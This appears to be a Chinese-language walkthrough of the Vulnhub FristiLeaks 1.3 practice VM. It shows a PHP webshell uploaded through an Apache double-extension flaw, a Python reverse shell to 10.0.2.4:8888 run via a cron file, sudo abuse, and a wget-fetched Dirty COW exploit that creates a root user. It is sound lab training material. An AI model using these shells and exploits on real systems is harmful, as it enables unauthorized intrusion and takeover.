Vulnhub靶机:FristiLeaks_1.3

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:FristiLeaks 1.3(10.0.2.12)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/fristileaks-13,133/

注意安装靶机的时候需要将靶机的MAC地址改为:08:00:27:A5:A6:76,否则靶机ip地址会获取不到

二、信息收集

使用nmap主机发现,靶机ip为:10.0.2.12

使用nmap端口扫描发现靶机开放端口:80

nmap -A 10.0.2.12 -p 1-65535

打开网站未发现扫描有用的功能点,查看源码也没有什么有用的隐藏信息

使用dirsearch工具进行目录爆破,发现/robots.txt文件

查看/robots.txt文件,发现三个目录

但访问这三个目录都是显示这一个图片,寻找URL

图片右下角有个链接,猜想可能是访问那个链接找url,但访问发现这个链接什么也没有

后面发现是主页的/fristi/这个目录,访问该目录是一个登录界面

查看源码发现一段todo信息和一段base64加密的信息,根据todo信息可以猜测存在用户名:eezeepz

使用在线网站解密base64加密的信息,发现该加密信息为png图片内容数据

可以使用python代码解密,并将解密的数据保存为图片

python 复制代码
import os
import base64
sss ="""{base64密文}"""
print(len(sss))
imagedata = base64.b64decode(sss)
print(imagedata)
file = open('1.png',"wb")
file.write(imagedata)
file.close()

查看图片,可以猜测该图片为密码信息,所以得到一组用户名密码:eezeepz:keKkeKKeKKeKkEkkEk

成功登录网站

该网站存在一个文件上传功能

三、漏洞利用

尝试上传php一句话木马,上传失败,只能上传png,jpg,gif文件

根据nmap的扫描结果,该网站中间件为Apache httpd 2.2.15,可能存在Apache HTTPD 多后缀解析漏洞:在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件。

可以尝试上传一句话木马文件webshell.php.png

使用蚂剑连接成功

反弹shell

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

方法一:

/home/eezeepz目录下发现notes.txt文件

我让你可以做一些自动检查,

但我只允许您访问 /usr/bin/* 系统二进制文件。我做了

但是,将一些额外的经常需要的命令复制到我的

homedir: chmod, df, cat, echo, ps, grep, egrep 这样你就可以使用它们

从 /home/admin/

只需在 /tmp/ 中放入一个名为"runthis"的文件,每行一个命令即可。这

输出转到 /tmp/ 中的文件"cronresult"。它应该

使用"我的帐户"权限运行每分钟。

可以在/tmp/目录下放一个文件名为runthis的脚本文件,反弹shell(只能使用/usr/bin/目录和homedir: chmod, df, cat, echo, ps, grep, egrep命令)

将以下命令写入runthis文件反弹shell失败

echo """/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" > /tmp/runthis

发现把反弹shell代码单独拎出来保存到/tmp/rev_shell.py,然后将执行python脚本命令写入runthis文件,反弹shell成功:echo "/usr/bin/python /tmp/rev_shell.py" > /tmp/runthis

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.4",8888));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在/home/admin目录下发现两个密文和加密用的代码

我们可以根据加密代码编写解密代码

python 复制代码
import base64,codecs,sys

def decodeString(str):
	base64string=codecs.encode(str, 'rot13')
    return base64.b64decode(base64string[::-1])
     
uncryptoResult=decodeString(sys.argv[1])
print(uncryptoResult)

解密得到:thisisalsopw123、LetThereBeFristi!

根据解压得到的明文形式可以猜测:LetThereBeFristi!为fristigod用户的密码

切换为fristigod用户

使用命令sudo -l查看一下具有sudo权限的程序,发现可以fristi权限运行/var/fristigod/.secret_admin_stuff/doCom

尝试以fristi权限运行一下/var/fristigod/.secret_admin_stuff/doCom

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

发现是该/var/fristigod/.secret_admin_stuff/doCom文件后面跟着命令

执行id命令发现是root权限

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

可以以root身份打开一个终端,得到root权限

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

方法二:

使用命令uname -a查看系统的内核版本,为Linux 2.6.32-573.8.1.el6.x86_64

我们直接使用经典的脏牛漏洞,该漏洞影响 Linux 2.6.22 版本至 4.6 版本的所有 Linux 系统。

将exp下载下来,使用web服务上传到靶机

主机:
service apache2 start

靶机:
cd /tmp
wget http://192.168.56.101/CVE-2016-5195.c

编译执行,在/etc/passwd文件写入一个具有root权限的用户:firefart

gcc -pthread CVE-2016-5195.c -o CVE-2016-5195 -lcrypt
./CVE-2016-5195


切换为firefart用户,得到root权限

获取flag

参考链接:https://blog.csdn.net/weixin_41598660/article/details/104200558

相关推荐
l1x1n010 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
guanyue.space15 小时前
网站可疑问题
web安全
小小工匠16 小时前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
鲨鱼辣椒丶D18 小时前
「漏洞复现」用友U8 CRM config/fillbacksettingedit.php SQL注入漏洞
web安全
火红的小辣椒1 天前
XSS基础
android·web安全
Z3r4y1 天前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger
小镇航海家2 天前
红日靶场1学习笔记
网络·笔记·学习·web安全·渗透测试
你怎么睡得着的!2 天前
【web安全】——XSS漏洞
安全·web安全·xss